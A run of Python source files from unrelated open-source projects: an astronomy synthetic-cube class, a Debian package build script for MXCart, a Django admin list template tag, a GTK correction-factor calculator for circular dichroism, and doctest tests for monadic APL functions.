c.log.append(c.stage) return c def convolve_filter(self, filter_input, plot_rebin=None, plot_rebin_dpi=None): ''' Convolves slice within filter limits into a 2D image. Parameters ---------- filter_input : object * database : if filter ``name`` from FluxCompensator database is used. * Filter : if own filter is used. plot_rebin : ``True``, ``None`` Switch to plot the rebined filter and the original filter in one plot. plot_rebin_dpi : ``None``, scalar > 0 The resolution in dots per inch. ``None`` is default and will use the value savefig.dpi in the matplotlibrc file. Returns ------- image : SyntheticImage ''' stage = 'SyntheticCube: convolve_filter' # debugging comment logger.debug('-' * 70) logger.debug(stage) logger.debug('-' * 70) weight = filter_input.rebin(self.wav, self.val) # returns weight{'wav_short' 'val_short' 'Response_new' 'filter_index' 'wavf_0' 'waf_min' 'waf_max' 'filter_name'} wav_short = weight['wav_short'] val_short = weight['val_short'] filter_index = weight['filter_index'] Response_new = weight['Response_new'] waf_0 = weight['waf_0'] waf_min = weight['waf_min'] waf_max = weight['waf_max'] filter_name = weight['filter_name'] if plot_rebin is not None: plot = filter_input.plot(val_name=self.name, dpi=plot_rebin_dpi) # weight val_short with rebined response val = val_short.copy() val[:, :, :len(wav_short)] = val_short[:,:, :len(wav_short)] * Response_new[:len(wav_short)] # collapse remaining cube into 2D val_2D = np.sum(val, axis=2) # return SyntheticImage from .image import SyntheticImage i = SyntheticImage(self) i.log.append(stage) i.stage = 'SyntheticImage: initial' i.log.append(i.stage) i.filter = {'name': filter_name, 'waf_0': waf_0, 'waf_min': waf_min, 'waf_max': waf_max} i.val = val_2D i.wav = np.array(waf_0) return i def add_noise(self, mu_noise, sigma_noise, seed=None, diagnostics=None): ''' Adds normal distributed noise to every slice in the val cube of SyntheticCube. Parameters ---------- mu_noise : float Mean of the normal distribution. Good choice: mu_noise = 0. sigma_noise : float Standard deviation of the normal distribution. Good choice around: * ``'ergs/cm^2/s'`` : sigma_noise = 10.**(-13) * ``'ergs/cm^2/s/Hz'`` : sigma_noise = 10.**(-26) * ``'Jy'`` : sigma_noise = 10.**(-3) * ``'mJy'`` : sigma_noise = 10.**(-1) * ``'MJy/sr'`` : sigma_noise = 10.**(-10) seed : float, ``None`` When float seed fixes the random numbers to a certain sequence in order to create reproducible results. Default is ``None``. diagnostics : truetype When ``True`` noise array is stored in a fits file. Returns ------- cube : SyntheticCube ''' stage = 'SyntheticCube: add_noise' # add different noise with same mu and sigma to 3D cube val = self.val.copy() for i in range(len(self.wav)): if sigma_noise != 0. and sigma_noise != 0: if seed is not None: np.random.seed(seed=seed) noise = normal(mu_noise, sigma_noise, self.pixel) if sigma_noise == 0. or sigma_noise == 0: noise = np.zeros(self.pixel) val[:, :, i] = self.val[:,:, i] + noise if diagnostics is True: fits.writeto(self.name + '_process-output_SC-noise.fits', noise, clobber=True) # return SyntheticCube c = SyntheticCube(self) c.val = val c.stage = stage c.log.append(c.stage) return c def get_rough_sed(self): ''' Collapses the current val cube into 1D array (SED). Returns ------- sed : SyntheticSED ''' stage = 'SyntheticCube: get_rough_sed' # for MJy/sr convert first, add and then convert back if self.unit_out == 'MJy/sr' or self.unit_out == 'Jy/arcsec^2': s = ConvertUnits(wav=self.wav, val=self.val) self.val = s.get_unit(in_units=self.units, out_units='Jy', input_resolution=self.resolution['arcsec']) # collapse every slice to one scalar value rough_sed = np.sum(np.sum(self.val.copy(), axis=1), axis=0) if self.unit_out == 'MJy/sr' or self.unit_out == 'Jy/arcsec^2': s = ConvertUnits(wav=self.wav, val=rough_sed) rough_sed = s.get_unit(in_units='Jy', out_units=self.unit_out, input_resolution=self.resolution['arcsec'] * self.pixel[0]) # return SyntheticSED from .sed import SyntheticSED s = SyntheticSED(self) s.log.append(stage) s.stage = 'SyntheticSED: initial' s.log.append(s.stage) s.val = rough_sed return s def get_total_val(self, wav_1, wav_2): ''' Collapses the val of SyntheticCube within the boundaries wav_1 and wav_2 into a 0D value val. WARNING: This tool cannot replace convolve_filter! But it can be used to produce rough estimates in-between the processes. Parameters ---------- wav_1, wav_2 : float Boundaries in microns. Returns ------- val : SyntheticFlux ''' stage = 'SyntheticCube: get_total_val' # slices within boundaries are extracted, averaged collapsed to an 2D image and finally collpased to a single scalar value # for MJy/sr convert first, add and then convert back if self.unit_out == 'MJy/sr' or self.unit_out == 'Jy/arcsec^2': s = ConvertUnits(wav=self.wav, val=self.val) val = s.get_unit(in_units=self.units, out_units='Jy', input_resolution=self.resolution['arcsec']) else: val = self.val c = get_slices(wav=self.wav, val=val, wav_1=wav_1, wav_2=wav_2) i = average_collapse(val=c['val_short']) f_total = np.sum(i) # real limits within collaps wav_max = 10 ** (np.log10(self.wav[c['filter_index'][0]]) + self.spacing_wav / 2.) wav_min = 10 ** (np.log10(self.wav[c['filter_index'][-1]]) - self.spacing_wav / 2.) wav_total = central_wav(wav=[wav_min, wav_max]) if self.unit_out == 'MJy/sr' or self.unit_out == 'Jy/arcsec^2': s = ConvertUnits(wav=wav_total, val=f_total) f_total = s.get_unit(in_units='Jy', out_units=self.unit_out, input_resolution=self.resolution['arcsec'] * self.pixel[0]) # return SyntheticFlux from .flux import SyntheticFlux f = SyntheticFlux(self) f.log.append(stage) f.stage = 'SyntheticFlux: initial' f.log.append(f.stage) f.wav = np.array(wav_total) f.val = np.array(f_total) f.filter = {'name': 'val_tot', 'waf_0': wav_total, 'waf_min': wav_min, 'waf_max': wav_max} return f def plot_image(self, wav_interest, prefix=None, name=None, multi_cut=None, single_cut=None, set_cut=None, dpi=None): ''' Plots a certain slice close the wav_interest. The wavelength interval of the chosen slice labels the plot. Parameters ---------- wav_interest : float, ``None`` * float : wavelength close to slice in microns. * ``None`` : Only if input_array is SyntheticImage like prefix : str Name of the image. Default naming chain is switched off. name : str Name of image within the default naming chain to distinguish the plot files. E. g. 'PSF_gaussian' mulit_cut : ``True``, ``None`` * ``True`` : plots chosen image slice at cuts of [100, 99, 95, 90]%. * ``None`` : no mulit-plot is returned. Default is ``None``. single_cut : float, ``None`` * float : cut level for single plot of image slice between 0 and 100. * ``None`` : no single plot is returned. set_cut : tuple, ``None`` * tuple : set_cut(v_min, v_max) Minimal and maximal physical value of val in the colorbars. * ``None`` : no plot with minimal and maximal cut is returned. Default is ``None``. dpi : ``None``, scalar > 0 The resolution in dots per inch. ``None`` is default and will use the value valig.dpi in the matplotlibrc file. Returns ------- cube : SyntheticCube ''' stage = 'SyntheticCube: plot_image' if prefix is None and name is None: raise Exception('If prefix name is not given, you need to give the a name to enable the default naming chain.') if prefix is not None: if multi_cut is True and (single_cut is not None or set_cut is not None): raise Exception('If prefix naming is enabled only one plotting option can be chosen.') elif multi_cut is None and (single_cut is not None and set_cut is not None): raise Exception('If prefix naming is enabled only one plotting option can be chosen.') plot = MakePlots(prefix=prefix, name=name, input_array=SyntheticCube(self), wav_interest=wav_interest, multi_cut=multi_cut, single_cut=single_cut, set_cut=set_cut, dpi=dpi) # return SyntheticCube c = SyntheticCube(self) c.stage = stage c.log.append(c.stage) return c @property def spacing_wav(self): ''' The property spacing_wav estimates the width of the logarithmic spaced wav entries. ''' if self.wav.ndim != 0: spacing_wav = np.log10(self.wav[0] / self.wav[-1]) / (len(self.wav) - 1) else: spacing_wav = None return spacing_wav @property def pixel(self): ''' The property pixel is a tuple which resembles the current pixel in a value val. ``pixel(x,y)`` are calls as follows: ``x = pixel[0]`` ``y = pixel[1]`` ''' if self.val.ndim in (0, 1): pixel = (None, None) if self.val.ndim in (2, 3): pixel = (self.val.shape[0], self.val.shape[1]) return pixel @property def shape(self): ''' The property shape is a string, which resembles the current shape of the value val. scalar: ``'()'`` 1D: ``'(wav)'`` 2D: ``'(x, y)'`` 3D: ``'(x, y , wav)'`` ''' if self.val.ndim == 0: shape = '()' if self.val.ndim == 1: shape = '(wav)' if self.val.ndim == 2: shape = '(x, y)' if self.val.ndim == 3: shape = '(x, y, wav)' return shape @property def resolution(self): ''' The property resolution tells you the current resolution. If we are already in the SED or flux everything is considered as one large pixel. resolution in arcsec per pixel : ``resolution['arcsec']`` resolution in rad per pixel : ``resolution['rad']`` ''' resolution = {} if self.pixel[0] is None: resolution['rad'] = self.FOV[0] / 1. / self.distance else: resolution['rad'] = self.FOV[0] / self.pixel[0] / self.distance resolution['arcsec'] = np.degrees(resolution['rad']) * 3600 return resolution
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manimaul/MX-Cart
buildLin.py
1
4497
import os, hashlib from shutil import copy2 as copy from Resources import versionNum from subprocess import Popen from shutil import rmtree def md5sum(fd, block_size=2**20): md5 = hashlib.md5() while True: data = fd.read(block_size) if not data: break md5.update(data) return md5.hexdigest() #clean any previous mPath = os.path.dirname(__file__)+"/build/debpkg/" if os.path.isdir(mPath): rmtree(mPath) #create DEBIAN directory mPath = os.path.dirname(__file__)+"/build/debpkg/DEBIAN" if not os.path.isdir(mPath): os.makedirs(mPath) #write control file control = open(mPath+"/control", "w") control.write( "Package: MXCart\n" + \ "Version: %s\n" %(versionNum) + \ "Section: misc\n" + \ "Priority: optional\n" + \ "Architecture: all\n" + \ "Depends: pngnq, python, python-wxgtk2.8, python-imaging, python-gdal, python-pyproj, python-simplejson, python-shapely\n" + \ "Installed-Size: 331\n" + \ "Maintainer: Will Kamp\n" + \ "Description: BSB version 2 and 3 chart import utility for MX Mariner\n" ) control.close() #copy over needed python files mPath = os.path.dirname(__file__)+"/build/debpkg/usr/local/lib/mxcart/" if not os.path.isdir(mPath): os.makedirs(mPath) for pyFile in ["/BsbHeader.py", "/buildWin.py", "/GUI.py", "/MXCart.py", "/BsbScales.py", \ "/BsbOutlines.py", "/FilePathSearch.py", "/Helper_Gdal.py", "/MyGemfBuilder.py", \ "/Helper_Tiler.py", "/Helper_Merge.py", "/Resources.py", "/FindZoom.py", "/GenerateData.py", \ "/reader_bsb_data.csv", "/my_tilers_tools/viewer-google.html", "/my_tilers_tools/viewer-openlayers.html"]: #print os.path.dirname(__file__)+pyFile, mPath copy(os.path.dirname(__file__)+pyFile, mPath) mPath = os.path.dirname(__file__)+"/build/debpkg/usr/local/lib/mxcart/my_tilers_tools/" if not os.path.isdir(mPath): os.makedirs(mPath) for pyFile in ["/my_tilers_tools/gdal_tiler.py", \ "/my_tilers_tools/generate_efficient_map_file.py", \ "/my_tilers_tools/map2gdal.py", \ "/my_tilers_tools/reader_backend.py", \ "/my_tilers_tools/reader_bsb.py", \ "/my_tilers_tools/tiler_functions.py", \ "/my_tilers_tools/tiles_convert.py", \ "/my_tilers_tools/tiles_merge_simple.py" ]: #print os.path.dirname(__file__)+pyFile, mPath copy(os.path.dirname(__file__)+pyFile, mPath) #copy dependant images mPath = os.path.dirname(__file__)+"/build/debpkg/usr/local/share/mxcart/" if not os.path.isdir(mPath): os.makedirs(mPath) for pyFile in ["/kattegat.png", "/spinner.gif"]: #print os.path.dirname(__file__)+pyFile, mPath copy(os.path.dirname(__file__)+pyFile, mPath) mPath = os.path.dirname(__file__)+"/build/debpkg/usr/local/share/icons/hicolor/48x48/apps/" if not os.path.isdir(mPath): os.makedirs(mPath) copy(os.path.dirname(__file__)+"/mxcart.png", mPath) #create bin mPath = os.path.dirname(__file__)+"/build/debpkg/usr/local/bin" if not os.path.isdir(mPath): os.makedirs(mPath) binsh = open(mPath + "/mxcart", "w") binsh.write("#!/bin/bash\n\n" + \ "cd /usr/local/lib/mxcart\n" + \ "python MXCart.py\n") binsh.close() Popen(["chmod", "777", mPath + "/mxcart"]) #create desktop entry mPath = os.path.dirname(__file__)+"/build/debpkg/usr/local/share/applications" if not os.path.isdir(mPath): os.makedirs(mPath) desktop = open(mPath + "/mxcart.desktop", "w") desktop.write("[Desktop Entry]\n" + \ "Version=%s\n" %(versionNum) + \ "Name=MX Cart\n" + \ "Comment=BSB Chart Import Utility\n" + \ "Path=/usr/local/lib/mxcart/\n" + \ "Exec=mxcart\n" + \ "Icon=/usr/local/share/icons/hicolor/48x48/apps/mxcart.png\n" + \ "StartupNotify=true\n" + \ "Terminal=false\n" + \ "Type=Application\n" + \ "Categories=Education;Science;Geography;" ) desktop.close() Popen(["dpkg-deb", "-b", os.path.dirname(__file__)+"/build/debpkg", os.path.dirname(__file__)+"/build/MXCart_%s_.deb" %(versionNum)]) ##write md5sum file #mPath = os.path.dirname(__file__)+"/build/debpkg/DEBIAN" #md5sums = open(mPath+"/md5sums", "w") #for ea in os.listdir(os.path.dirname(__file__)+"/build/debpkg/usr/local/lib/mxcart/"): # fd = open( os.path.dirname(__file__)+"/build/debpkg/usr/local/lib/mxcart/"+ea, "rb" ) # md5sums.write(md5sum(fd) + " " + "/usr/local/lib/mxcart/"+ea+"\n") # fd.close() ##for fd in os #md5sums.close()
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jumoconnect/openjumo
jumodjango/cust_admin/templatetags/ext_admin_list.py
1
5314
import datetime from django.conf import settings from django.contrib.admin.util import lookup_field, display_for_field, label_for_field from django.contrib.admin.views.main import ALL_VAR, EMPTY_CHANGELIST_VALUE from django.contrib.admin.views.main import ORDER_VAR, ORDER_TYPE_VAR, PAGE_VAR, SEARCH_VAR from django.core.exceptions import ObjectDoesNotExist from django.db import models from django.forms.forms import pretty_name from django.utils import formats from django.template.defaultfilters import escapejs from django.utils.html import escape, conditional_escape from django.utils.safestring import mark_safe from django.utils.text import capfirst from django.utils.translation import ugettext as _ from django.utils.encoding import smart_unicode, force_unicode from django.template import Library from django.contrib.admin.templatetags.admin_list import result_headers, result_hidden_fields register = Library() """ All this was copy and pasted so the custDismissRelatedLookupPopup could be inserted here. Do a find. """ def ext_items_for_result(cl, result, form): """ Generates the actual list of data. """ first = True pk = cl.lookup_opts.pk.attname for field_name in cl.list_display: row_class = '' try: f, attr, value = lookup_field(field_name, result, cl.model_admin) except (AttributeError, ObjectDoesNotExist): result_repr = EMPTY_CHANGELIST_VALUE else: if f is None: allow_tags = getattr(attr, 'allow_tags', False) boolean = getattr(attr, 'boolean', False) if boolean: allow_tags = True result_repr = _boolean_icon(value) else: result_repr = smart_unicode(value) # Strip HTML tags in the resulting text, except if the # function has an "allow_tags" attribute set to True. if not allow_tags: result_repr = escape(result_repr) else: result_repr = mark_safe(result_repr) else: if value is None: result_repr = EMPTY_CHANGELIST_VALUE if isinstance(f.rel, models.ManyToOneRel): result_repr = escape(getattr(result, f.name)) else: result_repr = display_for_field(value, f) if isinstance(f, models.DateField) or isinstance(f, models.TimeField): row_class = ' class="nowrap"' if force_unicode(result_repr) == '': result_repr = mark_safe('&nbsp;') # If list_display_links not defined, add the link tag to the first field if (first and not cl.list_display_links) or field_name in cl.list_display_links: table_tag = {True:'th', False:'td'}[first] first = False url = cl.url_for_result(result) # Convert the pk to something that can be used in Javascript. # Problem cases are long ints (23L) and non-ASCII strings. if cl.to_field: attr = str(cl.to_field) else: attr = pk value = result.serializable_value(attr) result_id = repr(force_unicode(value))[1:] #All this was copy and pasted so the custDismissRelatedLookupPopup could be inserted here. ext_attrib = "" if cl.is_popup: if cl.is_ext_popup: ext_attrib = 'onclick="opener.custDismissRelatedLookupPopup(window, %s, \'%s\'); return false;"' % (result_id, escapejs(result_repr)) else: ext_attrib = ' onclick="opener.dismissRelatedLookupPopup(window, %s); return false;"' % result_id yield mark_safe(u'<%s%s><a href="%s" %s>%s</a></%s>' % \ (table_tag, row_class, url, ext_attrib, result_repr, table_tag)) else: # By default the fields come from ModelAdmin.list_editable, but if we pull # the fields out of the form instead of list_editable custom admins # can provide fields on a per request basis if form and field_name in form.fields: bf = form[field_name] result_repr = mark_safe(force_unicode(bf.errors) + force_unicode(bf)) else: result_repr = conditional_escape(result_repr) yield mark_safe(u'<td%s>%s</td>' % (row_class, result_repr)) if form and not form[cl.model._meta.pk.name].is_hidden: yield mark_safe(u'<td>%s</td>' % force_unicode(form[cl.model._meta.pk.name])) def ext_results(cl): if cl.formset: for res, form in zip(cl.result_list, cl.formset.forms): yield list(ext_items_for_result(cl, res, form)) else: for res in cl.result_list: yield list(ext_items_for_result(cl, res, None)) def ext_result_list(cl): """ Displays the headers and data list together """ return {'cl': cl, 'result_hidden_fields': list(result_hidden_fields(cl)), 'result_headers': list(result_headers(cl)), 'results': list(ext_results(cl))} ext_result_list = register.inclusion_tag("admin/change_list_results.html")(ext_result_list)
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vhernandez/jwsProcessor
src/jwsprocessor/fc_calculator.py
1
7488
#!/usr/bin/env python # -*- coding: UTF-8 -*- """ To convert from mdeg to molar elipticity (deg*cm2*dmol-1): m.e. = mdeg / (10*l*(C/MW)*Rn) where l = light path in cm C = concentration in mg/ml MW = molecular weight Rn = number of residue of the protein """ import pygtk pygtk.require("2.0") import gtk import gobject from tools import _ CU_WEIGHT_VOL = 0 CU_MICROMOLAR = 1 CU_MILIMOLAR = 2 CONC_UNITS_LIST = [CU_WEIGHT_VOL, CU_MICROMOLAR, CU_MILIMOLAR] class ProteinInfo: def __init__(self, name, molecular_weight, residue_number, def_lp = 0.1, def_c=0.1, def_c_units = CU_WEIGHT_VOL): self.name = name self.molecular_weight = molecular_weight self.residue_number = residue_number self.default_light_path = def_lp self.default_concentration = def_c if def_c_units in CONC_UNITS_LIST: self.default_conc_units = def_c_units else: self.default_conc_units = CU_WEIGHT_VOL def get_c_units(self): if not self.default_conc_units in CONC_UNITS_LIST: self.default_conc_units = CU_WEIGHT_VOL return self.default_conc_units class CDCorrectionFactorCalculator(gtk.Dialog): c_text = _("Concentration (%s):") def __init__(self, initial_params=ProteinInfo("C-LytA", 15840, 136), parent=None): gtk.Dialog.__init__(self, title=_("Calculate correction factor"), parent=parent, flags=gtk.DIALOG_MODAL, buttons=(gtk.STOCK_CANCEL, gtk.RESPONSE_REJECT, gtk.STOCK_OK, gtk.RESPONSE_ACCEPT)) self._create_widgets() self._configure_widgets(initial_params) self.protein_info = initial_params self.correction_factor = 0 def _calculate_fc(self): cu = self.c_units_combo.get_active() if cu ==CU_MICROMOLAR: # uM C = self.C_spinner.get_value() / 1000000.0 elif cu ==CU_MILIMOLAR: #mM C = self.C_spinner.get_value() / 1000.0 else: #mg/ml MW = self.MW_spinner.get_value() if MW != 0.0: C = self.C_spinner.get_value() / MW else: C = 0.0 LP = self.LP_spinner.get_value() Rn = self.Rn_spinner.get_value() FC_0 = 10*LP*C*Rn if FC_0 != 0: self.correction_factor = 1.0/FC_0 else: self.correction_factor = 0.0 return self.correction_factor def _c_units_changed_cb(self, widget): cu = self.c_units_combo.get_active() if cu ==CU_MICROMOLAR: text = self.c_text % "uM" self.C_spinner.set_increments(0.1, 1.0) elif cu ==CU_MILIMOLAR: text = self.c_text % "mM" self.C_spinner.set_increments(0.01, 0.1) else: text = self.c_text % "mg/ml" self.C_spinner.set_increments(0.01, 0.1) self.C_label.set_text(text) self._update_factor_cb(widget) def _copy_to_clipboard_cb(self, widget): clipboard = gtk.Clipboard() clipboard.set_text("%f" % self._calculate_fc()) def _update_factor_cb(self, widget): self.factor_entry.set_text("%f" % self._calculate_fc()) def _configure_widgets(self, protein_info): self.LP_spinner.set_value(protein_info.default_light_path) self.C_spinner.set_value(protein_info.default_concentration) self.c_units_combo.set_active(protein_info.get_c_units()) self._c_units_changed_cb(self.c_units_combo) self.MW_spinner.set_value(protein_info.molecular_weight) self.Rn_spinner.set_value(protein_info.residue_number) self._update_factor_cb(self) self.c_units_combo.connect("changed", self._c_units_changed_cb) self.LP_spinner.connect("value-changed", self._update_factor_cb ) self.C_spinner.connect("value-changed", self._update_factor_cb ) self.MW_spinner.connect("value-changed", self._update_factor_cb ) self.Rn_spinner.connect("value-changed", self._update_factor_cb ) def _create_widgets(self): def create_label(label): l = gtk.Label(label) l.set_alignment(0,0.5) l.set_use_markup(True) return l self.LP_spinner = gtk.SpinButton() self.LP_spinner.set_range(0.0,10.0) self.LP_spinner.set_digits(2) self.LP_spinner.set_increments(0.01, 0.1) self.C_label = create_label(_("Concentration (mg/ml):")) self.C_spinner = gtk.SpinButton() self.C_spinner.set_range(0.0,50.0) self.C_spinner.set_digits(4) self.C_spinner.set_increments(0.01, 0.1) self.MW_spinner = gtk.SpinButton() self.MW_spinner.set_range(1.0,1000000000000.0) self.MW_spinner.set_digits(2) self.MW_spinner.set_increments(10.0, 100.0) self.Rn_spinner = gtk.SpinButton() self.Rn_spinner.set_range(1.0,1000000000000.0) self.Rn_spinner.set_digits(0) self.Rn_spinner.set_increments(1.0, 10.0) self.factor_entry = gtk.Entry() self.factor_entry.props.editable = False self.factor_entry.set_text("%f" % 0.0) self.c_units_list = gtk.ListStore(str) self.c_units_list.append(["m:v (mg/ml)"]) self.c_units_list.append(["micromolar"]) self.c_units_list.append(["milimolar"]) cell = gtk.CellRendererText() self.c_units_combo = gtk.ComboBox(self.c_units_list) self.c_units_combo.pack_start(cell, True) self.c_units_combo.add_attribute(cell, 'text', 0) self.c_units_combo.set_active(0) self.copy_to_clipboard_btn = gtk.Button(stock=gtk.STOCK_COPY) self.copy_to_clipboard_btn.connect("clicked", self._copy_to_clipboard_cb) table = gtk.Table(6,2) table.set_row_spacings(3) table.set_col_spacings(3) table.attach(create_label(_("Light path (cm):")), 0,1,0,1, gtk.FILL, gtk.EXPAND|gtk.FILL) table.attach(self.LP_spinner, 1,2,0,1, gtk.EXPAND|gtk.FILL, gtk.EXPAND|gtk.FILL) table.attach(self.c_units_combo, 0,2,1,2, gtk.EXPAND|gtk.FILL, gtk.EXPAND|gtk.FILL) table.attach(self.C_label, 0,1,2,3, gtk.FILL, gtk.EXPAND|gtk.FILL) table.attach(self.C_spinner, 1,2,2,3, gtk.EXPAND|gtk.FILL, gtk.EXPAND|gtk.FILL) table.attach(create_label(_("Molecular weight (g/mol):")), 0,1,3,4, gtk.FILL, gtk.EXPAND|gtk.FILL) table.attach(self.MW_spinner, 1,2,3,4, gtk.EXPAND|gtk.FILL, gtk.EXPAND|gtk.FILL) table.attach(create_label(_("Residue number:")), 0,1,4,5, gtk.FILL, gtk.EXPAND|gtk.FILL) table.attach(self.Rn_spinner, 1,2,4,5, gtk.EXPAND|gtk.FILL, gtk.EXPAND|gtk.FILL) table.attach(create_label(_("<b>Correction factor:</b>")), 0,1,5,6, gtk.FILL, gtk.EXPAND|gtk.FILL,0,5) table.attach(self.factor_entry, 1,2,5,6, gtk.EXPAND|gtk.FILL, gtk.EXPAND|gtk.FILL,0,5) self.vbox.pack_start(table, False, False, 4) self.action_area.pack_end(self.copy_to_clipboard_btn, False, False, 0) self.set_border_width(2) self.show_all() if __name__=="__main__": w = CDCorrectionFactorCalculator() w.run()
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NewForester/apl-py
test/monadic.py
1
11954
#!/usr/bin/python3 """ doctest style unit tests for APL monadic functions WIP - grows as more monadic functions are implemented. The tests in this module exercise monadic functions with numeric scalar and vector arguments only. Other cases are covered in other test modules. Each test passes an APL expression to the evaluate function. Both positive and negative (e.g. DOMAIN ERROR) cases are tested. Note: testDyadic --eager # run with eager evaluation testDyadic --lazy # run with lazy evaluation """ from test.base import preamble, testResult as test from test.base import saveIndexOrigin, setIndexOrigin, restoreIndexOrigin # ------------------------------ def monadic(): """ >>> test(r"⌹ 1") FUNCTION NOT YET IMPLEMENTED >>> test(r"¯ 1") INVALID TOKEN """ pass # ------------------------------ def conjugate_plus(): """ >>> test(r"+ 0") 0 >>> test(r"+ 0 0.5 1 2") 0 0.5 1 2 >>> test(r"+ ¯0 ¯0.5 ¯1 ¯2") 0 ¯0.5 ¯1 ¯2 """ pass # -------------- def negate_minus(): """ >>> test(r"- 0") 0 >>> test(r"- 0 0.5 1 2") 0 ¯0.5 ¯1 ¯2 >>> test(r"- ¯0 ¯0.5 ¯1 ¯2") 0 0.5 1 2 """ pass # -------------- def direction_times(): """ >>> test(r"× 0") 0 >>> test(r"× 0 0.5 1 2") 0 1 1 1 >>> test(r"× ¯0 ¯0.5 ¯1 ¯2") 0 ¯1 ¯1 ¯1 """ pass # -------------- def reciprocal_divide(): """ >>> test(r"÷ 0") DOMAIN ERROR >>> test(r"÷ 1") 1 >>> test(r"÷ 0.25 0.5 1 2") 4 2 1 0.5 >>> test(r"÷ ¯0.25 ¯0.5 ¯1 ¯2") ¯4 ¯2 ¯1 ¯0.5 """ pass # -------------- def ceil_maximum(): """ >>> test(r"⌈ 0") 0 >>> test(r"⌈ 0.25 0.5 1.1 9.9") 1 1 2 10 >>> test(r"⌈ ¯0.25 ¯0.5 ¯1.1 ¯9.9") 0 0 ¯1 ¯9 """ pass # -------------- def floor_minimum(): """ >>> test(r"⌊ 0") 0 >>> test(r"⌊ 0.25 0.5 1.1 9.9") 0 0 1 9 >>> test(r"⌊ ¯0.25 ¯0.5 ¯1.1 ¯9.9") ¯1 ¯1 ¯2 ¯10 """ pass # -------------- def magnitude_residue(): """ >>> test(r"| 0") 0 >>> test(r"| 0.25 0.5 1.1 9.9") 0.25 0.5 1.1 9.9 >>> test(r"| ¯0.25 ¯0.5 ¯1.1 ¯9.9") 0.25 0.5 1.1 9.9 """ pass # ------------------------------ def exponential_power(): """ >>> test(r"* 1 0 ¯1") 2.718281828 1 0.3678794412 >>> test(r"* 1 2 3 4 5") 2.718281828 7.389056099 20.08553692 54.59815003 148.4131591 >>> test(r"* ¯1 ¯2 ¯3 ¯4 ¯5") 0.3678794412 0.1353352832 0.04978706837 0.01831563889 0.006737946999 >>> test(r"* 0.125 0.25 0.5") 1.133148453 1.284025417 1.648721271 """ pass # -------------- def logarithm(): """ >>> test(r"⍟ 0") DOMAIN ERROR >>> test(r"⍟ -1") DOMAIN ERROR >>> test(r"⍟ 2.718281828459045 1.0 0.36787944117144233") 1 0 ¯1 >>> test(r"⍟ 1 2 3 4 5") 0 0.6931471806 1.098612289 1.386294361 1.609437912 >>> test(r"⍟ 0.125 0.25 0.5") ¯2.079441542 ¯1.386294361 ¯0.6931471806 """ pass # -------------- def factorial_binomial(): """ >>> test(r"! -1") DOMAIN ERROR >>> test(r"! 0") 1 >>> test(r"? 1") 1 >>> test(r"? ,1") 1 >>> test(r"⍴ ? 1") ⍬ >>> test(r"⍴ ? ,1") 1 >>> test(r"! 1 2 3 4 5") 1 2 6 24 120 >>> test(r"! 0.125 0.25 0.5") 0.9417426998 0.9064024771 0.8862269255 """ pass # -------------- def roll_deal(): """ randomness makes positive testing a little tricky >>> test(r"? 0") DOMAIN ERROR >>> test(r"? -1") DOMAIN ERROR >>> test(r"? 1") 1 >>> test(r"? 1÷2") DOMAIN ERROR >>> test(r"! 1") 1 >>> test(r"! ,1") 1 >>> test(r"⍴ ! 1") ⍬ >>> test(r"⍴ ! ,1") 1 >>> test(r"⍴ ? ⍳ 6") 6 """ pass # ------------------------------ def pi_circular(): """ >>> test(r"○ 1") 3.141592654 >>> test(r"○ ¯1 0 1") ¯3.141592654 0 3.141592654 >>> test(r"○ ¯0.5 0.5") ¯1.570796327 1.570796327 >>> test(r"○ ¯2 2") ¯6.283185307 6.283185307 """ pass # ------------------------------ def tilde(): """ >>> test(r"~ 1") 0 >>> test(r"~ 0") 1 >>> test(r"⍴ ~ 1") ⍬ >>> test(r"⍴ ~ ,1") 1 >>> test(r"~ ¯1") DOMAIN ERROR >>> test(r"~ 0.5") DOMAIN ERROR >>> test(r"~ 0 1 0 ") 1 0 1 """ pass # -------------- def or_gcd(): """ >>> test(r"∨ 1") VALENCE ERROR """ pass # -------------- def and_lcm(): """ >>> test(r"∧ 1") VALENCE ERROR """ pass # -------------- def nor(): """ >>> test(r"⍱ 1") VALENCE ERROR """ pass # -------------- def nand(): """ >>> test(r"⍲ 1") VALENCE ERROR """ pass # ------------------------------ def lt(): """ >>> test(r"< 1") VALENCE ERROR """ pass # -------------- def le(): """ >>> test(r"≤ 1") VALENCE ERROR """ pass # -------------- def ge(): """ >>> test(r"≥ 1") VALENCE ERROR """ pass # -------------- def gt(): """ >>> test(r"> 1") VALENCE ERROR """ pass # -------------- def eq(): """ >>> test(r"= 1") VALENCE ERROR """ pass # -------------- def ne(): """ >>> test(r"≠ 1") VALENCE ERROR """ pass # ------------------------------ def depth_match(): """ depth function >>> test(r"≡ 1.2") 0 >>> test(r"≡ 1 2 3") 1 """ pass # -------------- def tally_notMatch(): """ tally function >>> test(r"≢ 1.2") 1 >>> test(r"≢ 1 2 3") 3 """ pass # ------------------------------ def iota(): """ >>> IO = saveIndexOrigin() >>> setIndexOrigin(1) >>> test(r"⍳ -1") DOMAIN ERROR >>> test(r"⍳ 0") ⍬ >>> test(r"⍳ 1") 1 >>> test(r"⍳ 2") 1 2 >>> test(r"⍳ 3.142") DOMAIN ERROR >>> test(r"⍳ 1 1") WIP - LENGTH ERROR >>> setIndexOrigin(0) >>> test(r"⍳ -1") DOMAIN ERROR >>> test(r"⍳ 0") ⍬ >>> test(r"⍳ 1") 0 >>> test(r"⍳ 2") 0 1 >>> test(r"⍳ 3.142") DOMAIN ERROR >>> test(r"⍳ 1 1") WIP - LENGTH ERROR >>> restoreIndexOrigin(IO) """ pass # -------------- def rho(): """ >>> test(r"⍴ 1.2") ⍬ >>> test(r"⍴ ,1.2") 1 >>> test(r"⍴ 1 2 3") 3 """ pass # -------------- def comma(): """ >>> test(r", 1.2") 1.2 >>> test(r"⍴ , 1.2") 1 >>> test(r", 1 2 3") 1 2 3 >>> test(r"⍴ , 1 2 3") 3 """ pass # -------------- def enlist_membership(): """ >>> test(r"∊ 1.2") 1.2 >>> test(r"≢ ∊ 1.2") 1 >>> test(r"≡ ∊ 1.2") 1 >>> test(r"∊ 1 2 3") 1 2 3 >>> test(r"≢ ∊ 1 2 3") 3 >>> test(r"≡ ∊ 1 2 3") 1 """ pass # -------------- def find(): """ >>> test(r"⍷ 1") VALENCE ERROR """ pass # -------------- def transpose(): """ >>> test(r"⍉ 1.2") 1.2 >>> test(r"⍴ ⍉ 1.2") ⍬ >>> test(r"⍴ ⍉ ,1.2") 1 >>> test(r"⍉ 1 2 3") 1 2 3 """ pass # -------------- def enclose_partition(): """ >>> test(r"⊂ 1.2") 1.2 >>> test(r"≡ ⊂ 1.2") 0 >>> 